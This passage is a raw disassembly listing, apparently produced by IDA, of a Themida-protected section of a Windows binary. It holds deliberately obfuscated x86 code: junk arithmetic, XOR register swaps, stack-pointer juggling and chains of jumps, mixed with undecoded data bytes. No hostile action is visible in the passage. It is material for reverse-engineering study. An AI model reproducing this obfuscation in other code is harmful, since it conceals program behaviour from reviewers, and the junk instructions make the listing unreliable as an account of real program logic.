; ---------------------------------------------------------------------------
aLSz7		db '‹<$é‡7',0
		dw 8100h
		dd 7B042444h, 0E91F5071h, 0FFFFCD2Ah, 81240C8Bh, 4C4h
		dd 0D8005A00h, 51241C8Bh, 60E9E189h, 56000059h,	0BA52E689h
		dd 53636369h, 2EC9F281h, 0F2812FE2h, 7C814DA4h,	0E95AD601h
		dd 0FFFF89FAh
dword_569CBC	dd 207F83ADh, 4E840F00h, 83FFFF64h, 1C8904ECh, 56E38924h
					; DATA XREF: Themida_:0055FEA0o
		dd 4BEh, 0E9F30100h, 9C35h
dword_569CDC	dd 0E940478Fh, 0FFFF62BBh ; DATA XREF: Themida_:0055FDF8o
; ---------------------------------------------------------------------------


loc_569CE4:				; CODE XREF: Themida_:005640D1j
		add	ebp, edx
		sub	ebp, 3E323620h
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	58C0h
		jmp	loc_562E8D
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 34FF8734h, 17F7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569D16:				; CODE XREF: Themida_:0056FF1Bj
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5709F6
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFA951E9h, 240C8BFFh, 0E904C483h, 0FFFFE5BEh
; ---------------------------------------------------------------------------


loc_569D40:				; CODE XREF: Themida_:00573885j
		mov	bh, ch
		sub	bh, 1
		jmp	loc_56B5D0
; ---------------------------------------------------------------------------
		dw 0C8Ah
		dd 2C48324h, 0AFE9D9F6h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D57:				; CODE XREF: Themida_:0056A669j
		add	ebx, ecx
		push	eax
		jmp	loc_563819
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 5AB15124h, 0FF7781E9h, 0D8295DFFh, 8CA4E956h
		dd 2B0FFFFh, 58C328h, 7C76E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D82:				; CODE XREF: Themida_:0056B7C8j
		mov	esi, [esp]
		add	esp, 4
		push	1F41h
		mov	[esp], ecx
		mov	ecx, 4791185Ch
		shl	ecx, 2
		jmp	loc_56D2BF
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 14h
		dd 314249ACh, 24348BF7h, 4C481h, 0F9010000h, 2ACEE9h
		db 0
byte_569DB5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FEECo
		dd 138A6824h, 0B7E90000h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569DC3:				; CODE XREF: Themida_:0056387Cj
		pop	edx
		add	ecx, 73B8274Fh
		add	ecx, edi
		push	ebx
		jmp	loc_569B21
; ---------------------------------------------------------------------------


loc_569DD2:				; CODE XREF: Themida_:0056F22Cj
		pop	ebp
		add	ebp, 4
		jmp	loc_564786
; ---------------------------------------------------------------------------


loc_569DDE:				; CODE XREF: Themida_:005725CBj
		add	edi, 4
		push	707Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	bl, 3
		jmp	loc_56EFBA
; ---------------------------------------------------------------------------


loc_569E0A:				; CODE XREF: Themida_:00563AABj
		sub	edi, 5DBE384h
		sub	ebx, 0BF466B3h
		jmp	loc_56BC2D
; ---------------------------------------------------------------------------
byte_569E1B	db 0ACh			; DATA XREF: Themida_:0055FEE0o
		dd 81E38953h, 4C3h, 4BE5600h, 29000000h, 61E95EF3h, 5AFFFFA6h
		dd 288DF780h, 0E0C05BF8h, 0F6506603h, 58662414h, 5E9C02Ch
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_569E4B:				; CODE XREF: Themida_:00561F97j
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_5670B8
; ---------------------------------------------------------------------------
		dd 42474FFh, 81241C8Bh,	4C4h, 24048F00h, 2965E9h, 4B95100h
		dd 0E9000000h, 65CCh, 8B04C483h, 0E8E9240Ch, 29000034h
		dd 707DE9CBh, 0C301FFFFh, 7E87E9h, 0E90400h, 0B65266D8h
		dd 66F028E9h, 0B08DE95Ah, 0E94DFFFFh, 0FFFF9AC7h, 89240489h
		dd 34BD55E0h, 517CF808h, 0FFA758E9h, 243489FFh,	1D1EE9h
		dd 0B7F18100h, 29123138h, 0B85059CAh, 330B3E16h, 6BFAE9h
		db 0
; ---------------------------------------------------------------------------


loc_569ED9:				; CODE XREF: Themida_:0057153Cj
		pop	edx
		push	ebx
		jmp	loc_5627CE
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFA4E7h
; ---------------------------------------------------------------------------


loc_569EE8:				; CODE XREF: Themida_:0056CB24j
		add	eax, ebp
		pop	ebp
		jmp	loc_56CA31
; ---------------------------------------------------------------------------
		dd 4C481h, 6CE90000h, 81FFFFE9h, 0EE7BDFF1h, 8BCB2934h
		dd 0C481240Ch, 4, 0FFF8AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569F11:				; CODE XREF: Themida_:0056B63Fj
		mov	bl, 0Ch
		jmp	loc_5729FF
; ---------------------------------------------------------------------------
		dd 6FBE565Bh, 81F90F1Fh, 865FC7C2h, 81F20144h, 4ECh, 241C8900h
		dd 3A6BB951h, 0ACBB2EF8h, 316A7E65h, 0EA8159CBh, 3D281226h
		dd 0C281DA29h, 3D281226h, 0FC29E95Bh, 0D800FFFFh, 0B62CD92Ch
		dd 922EE9h, 0E9E98900h,	3271h
; ---------------------------------------------------------------------------


loc_569F64:				; CODE XREF: Themida_:005729F4j
		add	edi, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56A3E8
; ---------------------------------------------------------------------------
		dw 0FD5Eh
		dd 0E904EC83h, 0FFFFABBAh
; ---------------------------------------------------------------------------


loc_569F98:				; CODE XREF: Themida_:0056A698j
		shl	ebp, 5
		push	ecx
		push	edx
		mov	edx, 277F25CBh
		push	edx
		pop	ecx
		pop	edx
		add	ecx, 89E5B299h
		jmp	loc_5668A2
; ---------------------------------------------------------------------------


loc_569FB0:				; CODE XREF: Themida_:0056F234j
		push	dword ptr [esp]
		jmp	loc_56B544
; ---------------------------------------------------------------------------
dword_569FB8	dd 0E9D830ACh, 0FFFF6EA4h, 14F7555Fh, 242C8B24h, 3D3DE9h
					; DATA XREF: Themida_:0055FDA4o
		dd 24248B00h, 8277E957h, 815EFFFFh, 4C6h, 4C68100h, 87000000h
		dd 248B2434h, 41A7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569FEE:				; CODE XREF: Themida_:0056569Bj
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564A0A
; ---------------------------------------------------------------------------
		db 0B1h, 8Eh, 80h
		dd 0EFE912C1h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A00F:				; CODE XREF: Themida_:00567685j
		push	ecx
		push	edx
		jmp	loc_5741DB
; ---------------------------------------------------------------------------
aSC0AW0qysC	db 'S³c0Ý[€Åw0ïYéÎC',0
		dw 8900h
		dd 1368241Ch, 0FF49731Ch, 815B2434h, 4C4h, 8C03E900h, 0FF52FFFFh
		dd 5A042474h, 0E924048Fh, 0FFFFE0C5h, 5C243C33h, 8958C389h
		dd 6CE3E918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A05A:				; CODE XREF: Themida_:00562CEBj
		add	edi, 6EC3756Fh
		jmp	loc_560307
; ---------------------------------------------------------------------------


loc_56A065:				; CODE XREF: Themida_:0057478Fj
		add	esp, 4


loc_56A068:				; DATA XREF: Themida_:005650C9o
		pop	ecx
		xchg	edi, ecx
		jmp	loc_572AA6
; ---------------------------------------------------------------------------
		dd 50241C89h, 0BB480A68h, 0F37DE97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A07E:				; CODE XREF: Themida_:0056FDD4j
		mov	[esp], ecx
		mov	ecx, 22014F06h
		mov	eax, ecx
		pop	ecx
		mov	edx, 6B862C8Dh
		jmp	loc_5716A0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 4979E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A0A1:				; CODE XREF: Themida_:005700FEj
		mov	[esp], edi
		mov	edi, 55323CCh
		sub	ecx, edi
		pop	edi
		push	eax
		mov	eax, 8DA2892h
		dec	eax
		jmp	loc_561418
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0E9E78957h, 8E02h, 35568h, 243C8900h, 7EE568h
		dd 0A3E0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A0D6:				; CODE XREF: Themida_:0056E2DBj
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 614C3EACh
		and	edi, 0C922979h
		jmp	loc_56F9B5
; ---------------------------------------------------------------------------
		db 52h,	57h, 0BFh
		dd 2, 4EC81h, 3C890000h, 24148B24h, 4C481h, 34FF0000h
		dd 243C8B24h, 0FF6B9CE9h, 0D9BD55FFh, 8106DC0Bh, 1B7A15CDh
		dd 81DDF746h, 0CA0ACEC5h, 1EE58162h, 0E9233C29h, 76Ah
		dd 89A8E958h, 52B50000h, 0FEA5E580h, 0B2E580C5h, 0F664E580h
		dd 5E38E9D5h, 71B80000h, 0BA53F451h, 0E992EB6Eh, 5758C201h
		dd 314439BFh, 6EFC15Dh,	0E906EFC1h, 2FE5h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_573211
; ---------------------------------------------------------------------------


loc_56A17B:				; CODE XREF: Themida_:00571BB5j
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5656B5
; ---------------------------------------------------------------------------


loc_56A186:				; CODE XREF: Themida_:005663F3j
		shr	ebx, 1
		jmp	loc_560B04
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 26B82404h, 81501C58h, 2C421CEDh, 0E9C50135h
		dd 81F3h, 1C80E959h, 0B9510000h, 7B555136h, 2225CCBEh
		dd 8F1AE987h, 5DBAFFFFh, 3149FC53h, 4E13E9EAh, 0C3810000h
		dd 426029B8h, 6461C381h, 0F663DE2h, 686600B6h, 896672F5h
		dd 0B8E92404h, 29FFFF5Dh, 8EA6E9F3h, 0C483FFFFh, 66E83004h
		dd 52240C8Bh, 6CE95A54h, 0FF00003Ch, 90E92434h,	81000038h
		dd 0FB2F06EEh, 57D6290Dh, 9C50C6BFh, 8DF7817Eh,	0C11BA566h
		dd 8EE904E7h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A223:				; CODE XREF: Themida_:0056F832j
		pop	edx
		jmp	loc_56E87B
; ---------------------------------------------------------------------------
		db 0B5h, 44h, 0E9h
		dd 0FFFFD50Fh, 0FE68535Ah, 8900004Bh, 68512414h, 1586h
		dd 0E9241C89h, 0FFFF6597h
; ---------------------------------------------------------------------------


loc_56A248:				; CODE XREF: Themida_:00568B30j
		inc	edi
		jmp	loc_56BE07
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 3B3CBF24h, 3EBB2E48h, 312E483Bh, 89565FFBh, 4C681E6h
		dd 83000000h, 348704EEh, 79E95C24h, 1FFFFC4h, 0D5895BDAh
		dd 1DED815Ah, 0E971DD43h, 734Ah
; ---------------------------------------------------------------------------


loc_56A284:				; CODE XREF: Themida_:005714C9j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		dd 511D30B9h, 82E9812Ah, 49491F48h, 7E80B850h, 0A42D2286h
		dd 0F7105C2Ch, 0AA2D40D0h, 57C8D49h, 4C215716h,	34E9C129h
		dd 3100009Bh, 0BCE95AD1h, 68FFFFFBh, 26CEh, 0BF243C89h
		dd 31614B74h, 4244481h,	8247B48h, 4246C81h, 63DA525Eh
		dd 4246C81h, 68924CFBh,	20F3BD55h, 6C0148D3h, 815D0824h
		dd 76042444h, 120F405h,	8104247Ch, 7604246Ch, 8120F405h
		dd 0F304246Ch, 8148D320h, 0FB042444h, 8168924Ch, 5E042444h
		dd 8163DA52h, 4804246Ch, 8B08247Bh, 0E957243Ch,	0FFFFCC1Dh
		dd 9781E946h, 4BA0000h,	1000000h, 5A042454h, 4C3815Bh
		dd 57000000h, 468h, 243C8B00h, 4DDBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A35D:				; CODE XREF: Themida_:005638EFj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_56BEA5
; ---------------------------------------------------------------------------
		dd 8B241CF7h, 0C4812434h, 4, 7CF76896h,	2C890000h, 7392BD24h
		dd 0E8096F64h, 81242C8Bh, 4C4h,	0B4BB5300h, 0E906E208h
		dd 8FAAh, 653A68h, 242C8900h, 5D2414F7h, 0A6FBE9h, 24248B00h
		dd 9C240430h, 0FF5BEAE9h, 0A3E954FFh, 0C1FFFFF6h, 50E903E6h
		dd 89000091h, 0E9572434h, 7DD8h
; ---------------------------------------------------------------------------


loc_56A3CC:				; CODE XREF: Themida_:00566387j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shl	eax, 3
		sub	eax, 0FFFFFFFFh
		jmp	loc_5694D2
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 7C0Ch
; ---------------------------------------------------------------------------


loc_56A3E8:				; CODE XREF: Themida_:00569F89j
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_57034A
; ---------------------------------------------------------------------------
		db 0BEh, 3Ah, 7
		dd 1DB9569Eh, 0E92EAA7Ch, 0FFFFA3ACh
; ---------------------------------------------------------------------------


loc_56A408:				; CODE XREF: Themida_:0056E42Fj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_56E3DB
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0E0B22414h, 0ABE9572Ch, 830000A8h, 48904ECh,	68E08924h
		dd 21B3h, 68241489h, 179Ah, 0B9240C89h,	551D5E2Bh, 59C3E9h
		dd 57F80100h, 0FF9F18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A44D:				; CODE XREF: Themida_:00570860j
		push	dword ptr [esp]
		jmp	loc_5742D7
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 2Bh
		dd 4070F462h, 0FF6A1DE9h, 678A68FFh, 0EFE945CDh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A46B:				; CODE XREF: Themida_:005681C3j
		or	ch, bh
		mov	bx, [esp]
		add	esp, 2
		neg	ch
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 86h
		jmp	loc_56157F
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 48F5E04h,	8295E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A496:				; CODE XREF: Themida_:0056AB4Cj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_56B41D
; ---------------------------------------------------------------------------


loc_56A4B5:				; CODE XREF: Themida_:0056E640j
		add	bl, 0ACh
		jmp	loc_569904
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 80000000h, 0B8E92AEBh, 81000089h, 0A723B2CFh, 0BECF812Dh
		dd 81252D0Dh, 0AFEFFBF7h, 0F2C0E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A4E2:				; CODE XREF: Themida_:00573BD8j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_564E7D
; ---------------------------------------------------------------------------
		dd 7004EEB0h, 0FFC93DE9h, 8C0548FFh, 1D31EC4h, 6507E9C7h
		dd 0FF56FFFFh, 0E9042474h, 2DE7h, 4240481h, 8B000000h
		dd 0BAE9243Ch, 0BFFFFFDEh, 0FF74691h, 4FEF781h,	81472508h
		dd 0EA3036F7h, 81D7F748h, 1B664EEFh, 0E9FA3174h, 40B4h
		dd 0C281C201h, 51510B1h, 8337E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A54A:				; CODE XREF: Themida_:00574C3Dj
		mov	esp, [esp]
		push	0B7Fh
		mov	[esp], esi
		push	467C3554h
		mov	esi, [esp]
		jmp	loc_562527
; ---------------------------------------------------------------------------
		dw 33BBh
		dd 5003594Ah, 0FC4270B8h, 2E8C121h, 0DA7BB53h, 0D801164Bh
		dd 58C2295Bh, 34D7C281h, 0DA0153C2h, 34D7EA81h,	0C28153C2h
		dd 1ECA1E43h, 0E92434FFh, 0FFFFDD88h, 4C481h, 685A0000h
		dd 0AE9h, 6835E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A5A9:				; CODE XREF: Themida_:005639F8j
		add	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7D7h
		mov	[esp], ebp
		jmp	loc_560789
; ---------------------------------------------------------------------------


loc_56A5CB:				; CODE XREF: Themida_:005716A8j
		xchg	eax, edi
		sub	eax, 59546926h
		jmp	loc_56C589
; ---------------------------------------------------------------------------
		dw 0E3D0h
		dd 80CEC380h, 0D930CEF3h, 81241C8Bh, 4C4h, 0FFC83000h
		dd 81592434h, 4C4h, 564E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A5FA:				; CODE XREF: Themida_:0056448Fj
		add	edx, 4
		sub	edx, 4
		jmp	loc_5642AE
; ---------------------------------------------------------------------------
		dd 4EC81h, 81E90000h, 51FFFFADh, 0EA88FD88h, 0FF756FE9h
		dd 4EC81FFh, 89000000h,	8B54242Ch, 0C481242Ch, 4, 4BB53h
		dd 0DD010000h, 4C5815Bh, 87000000h, 0A4E9242Ch
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A647:				; CODE XREF: Themida_:0056F51Bj
		mov	[esp], ebp
		push	ebx
		mov	ebx, 62D4623Eh
		sub	[esp+4], ebx
		jmp	loc_56ACB8
; ---------------------------------------------------------------------------


loc_56A659:				; CODE XREF: Themida_:0056277Fj
		pop	ebx
		push	esi
		mov	esi, 0ECC20295h
		add	ecx, esi
		pop	esi
		sub	ebx, 3BE812A2h
		jmp	loc_569D57
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C481h, 0BB530000h, 1ED3296Dh, 0E95BDA31h, 0FFFF6A84h
; ---------------------------------------------------------------------------


loc_56A688:				; CODE XREF: Themida_:00562D24j
		pop	esi
		pop	edx
		dec	ecx
		jmp	loc_5747F3
; ---------------------------------------------------------------------------


loc_56A690:				; CODE XREF: Themida_:00568803j
		mov	eax, esp
		push	ebp
		mov	ebp, 0D8B26C3h
		jmp	loc_569F98
; ---------------------------------------------------------------------------


loc_56A69D:				; CODE XREF: Themida_:00567A86j
		xor	ebp, 758A1AA4h
		sub	ebp, 0D9F972F7h
		add	edi, ebp
		jmp	loc_5644FF
; ---------------------------------------------------------------------------
		dd 2C481h, 0B60F0000h, 78F7E9C0h, 1C890000h, 0BB24h, 0CE90000h
		dd 5E00008Bh, 4B951h, 74E90000h, 1FFFFE0h, 2434FFDAh, 4C4835Bh
		dd 74C4BB53h, 43E910D4h, 68FFFFD1h, 7B7Bh, 2280E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A6F5:				; CODE XREF: Themida_:00566699j
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_56AF76
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 7206h, 0C2E3815Fh, 43293737h, 203BE9h, 1ABEBD00h, 0EDC16123h
		dd 6EDC102h, 2FF7E9h, 36EB8100h, 5E434C1Fh, 34FFD831h
		dd 241C8B24h, 4C481h, 0C0680000h, 89000042h, 0E0892404h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5663CD
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB5339C3h, 0C8FE941h, 0EC810000h, 4, 0BF243C89h, 3ABF302Bh
		dd 1A197ABEh, 5FFE0126h, 0EEC1D6F7h, 48CE8107h,	81444F2Eh
		dd 3D2AECEEh, 0D5B0E9D0h, 8B66FFFFh, 0CB682414h, 89000013h
		dd 5D54242Ch, 37ACE9h, 0DA896600h, 0D2F7665Bh, 85F28166h
		dd 2EC8354h, 949DE9h, 81E78900h, 4C7h, 0E1895100h, 52ACE9h
		dd 66BA5200h, 8153B441h, 2B31CDF2h, 0BEC2812Ch,	811E1339h
		dd 267D69C2h, 5AD701E2h, 243C875Eh, 8924248Bh, 5AE9240Ch
		dd 66FFFFE3h, 9408E953h, 685C0000h, 6834h, 56240489h, 3EE9E689h
		dd 83FFFFEAh, 6D6802C1h, 0E9000010h, 7101h, 4EC81h, 0FCE90000h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A82B:				; CODE XREF: Themida_:00571103j
		or	dh, 0E7h
		not	dh
		or	dh, 0F0h
		shr	dh, 2
		xor	dh, 0A4h
		mov	ch, dh
		pop	edx
		sub	bh, 0E3h
		sub	bh, ch
		push	dx
		mov	dl, 0E3h
		add	bh, dl
		pop	dx
		jmp	loc_563733
; ---------------------------------------------------------------------------
		dw 54B3h
		dd 5B66DE88h, 5A66F730h, 5248E780h, 0D70083B2h,	9D99E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A865:				; CODE XREF: Themida_:00566AC6j
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_561167
; ---------------------------------------------------------------------------


loc_56A874:				; CODE XREF: Themida_:00570D38j
		pop	ecx
		add	eax, edi
		jmp	loc_56EF3A
; ---------------------------------------------------------------------------
		dd 4C2755B8h, 6E0C15Fh,	0F62AC405h, 58C3292Ch, 31241C33h
		dd 1C33241Ch, 24248B24h, 8E22E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A89D:				; CODE XREF: Themida_:0056B4B1j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		dw 6868h
		dd 89000075h, 93BF243Ch, 29923DE1h, 243C8BFDh, 4C481h
		dd 0E8010000h, 68ABE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A8C2:				; CODE XREF: Themida_:00573D74j
		mov	[esp], eax
		push	ecx
		mov	ecx, 31987FEEh
		mov	eax, ecx
		pop	ecx
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 15AE6C66h
		mov	eax, ebp
		pop	ebp
		xchg	eax, edi
		jmp	loc_5716A6
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 0B3E9240Ch, 0E9FFFFF2h, 0FFFF56A7h, 0B8240489h
		dd 468E400Ch, 9398E9h, 0FDEB8100h, 184209Fh, 0D3E95BD9h
		dd 89FFFFACh, 0C588240Ch, 0E959EF88h, 0FFFFC40Ah
; ---------------------------------------------------------------------------


loc_56A920:				; CODE XREF: Themida_:0056BCECj
		pop	esp
		mov	[esp], eax
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 5, 2Dh, 4Bh
		dd 0D801650Eh, 0E4B2D2Dh, 4584E965h, 0E3890000h, 4C381h
		dd 0C3830000h, 241C8704h, 4F24248Bh, 714BEF81h,	0E7811848h
		dd 6A7C090Ah, 50C0BA52h, 0D701962Dh, 0E9FE895Ah, 6580h
; ---------------------------------------------------------------------------


loc_56A968:				; CODE XREF: Themida_:005610A8j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		and	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_570135
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_573BA7
; ---------------------------------------------------------------------------


loc_56A99B:				; CODE XREF: Themida_:00568FD9j
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	2C75h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_57258F
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0F7h
		dd 9CF0E9DAh, 478FFFFFh, 246F8124h, 288D37A7h, 582434FFh
		dd 3DC968h, 0CD8CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A9DE:				; CODE XREF: Themida_:00570BDFj
		pop	edx
		mov	edx, ebx
		pop	ebx
		inc	edx
		and	edx, 0EF003F6h
		jmp	loc_56C9CA
; ---------------------------------------------------------------------------


loc_56A9EE:				; CODE XREF: Themida_:0056C88Cj
		mov	ah, 0AEh
		neg	ah
		add	ah, 0BCh
		neg	ah
		add	ah, 0C5h
		add	ah, 9Ah
		jmp	loc_5689BB
; ---------------------------------------------------------------------------


loc_56AA02:				; CODE XREF: Themida_:00570DD9j
		mov	[esp], eax
		mov	eax, 8E86689Dh
		add	edi, eax
		mov	eax, [esp]
		push	ebx
		jmp	loc_57056F
; ---------------------------------------------------------------------------


loc_56AA15:				; CODE XREF: Themida_:00563955j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_566627
; ---------------------------------------------------------------------------


loc_56AA20:				; CODE XREF: Themida_:00560AE9j
		push	edi
		mov	edi, 4FC0190h
		jmp	loc_56D634
; ---------------------------------------------------------------------------
		db 53h
		dd 241C8B54h, 4C481h, 0C3810000h, 4, 62BEE9h, 0F8285900h
		dd 0C6B3535Bh, 0F380CBFEh, 0FFD80083h, 835B2434h, 0D80004C4h
		dd 0E955462Ch, 0FFFF89CAh
; ---------------------------------------------------------------------------


loc_56AA60:				; CODE XREF: Themida_:00560F97j
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_560F9C
; ---------------------------------------------------------------------------
		db 66h,	81h, 4
		dd 66000224h, 6624048Fh, 2BD6655h, 6C016600h, 5D660224h
		dd 0FF5512E9h, 240C89FFh, 4EC81h, 1C890000h, 0B594B324h
		dd 2E1AE9E2h, 0C8000000h, 81240C8Bh, 4C4h, 148B6600h, 3D92E924h
		dd 0C3010000h, 582434FFh, 5A04C483h, 28D9E9h, 0F1E95600h
		dd 81FFFF79h, 3C1DC4C3h, 0E9535E2Dh, 0FFFFF384h, 52241C8Bh
		dd 0C281E289h, 4, 8704C283h, 15C2414h, 0A17BE9F2h, 0C8B0000h
		dd 4C48124h, 1000000h, 51555FF9h, 7B0EBA68h, 3DE95940h
		dd 5200007Ah, 0B951E289h, 4, 8359CA01h,	0FF5204C2h, 5A042474h
		dd 0E924048Fh, 741h
; ---------------------------------------------------------------------------


loc_56AB28:				; CODE XREF: Themida_:0056302Bj
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	eax
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	5632h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56A496
; ---------------------------------------------------------------------------
byte_56AB51	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FD08o
		dd 0E0895024h, 70F3E951h, 0EC81FFFFh, 4, 50241489h, 57B64DB0h
		dd 0E990EE80h, 0FFFFE640h, 0F488DE88h, 0FF83EDE9h, 9C5166FFh
		dd 0FF541AE9h, 66E728FFh, 8054B652h, 41E97AEFh
		db 87h,	2 dup(0FFh)
byte_56AB93	db 66h			; DATA XREF: Themida_:0055FE80o
		dd 6824048Bh, 1B73h, 68243489h,	3029h, 53242489h, 4BBh
		dd 24448100h, 8B2C7B04h, 245C0164h, 246C8104h, 8B2C7B04h
		dd 348B5B64h, 4C48124h,	0E9000000h, 9B0Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 63C6166Dh
		sub	ecx, 63C61669h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_563F88
; ---------------------------------------------------------------------------


loc_56ABFA:				; CODE XREF: Themida_:005616B8j
		mov	[esp], ebx
		push	8000h
		jmp	loc_567E80
; ---------------------------------------------------------------------------


loc_56AC07:				; CODE XREF: Themida_:00571F33j
		push	edx
		mov	edx, 0F6F4F66h
		sub	ebx, edx
		pop	edx
		push	edi
		mov	edi, 2761228h
		push	ebx
		mov	ebx, 491D589Eh
		and	edi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_563A8A
; ---------------------------------------------------------------------------


loc_56AC29:				; CODE XREF: Themida_:0056B30Bj
		mov	[esp], edx
		mov	edx, 88126D8h
		push	eax
		push	edi
		mov	edi, 43E83E3Bh
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		pop	eax
		jmp	loc_562C72
; ---------------------------------------------------------------------------


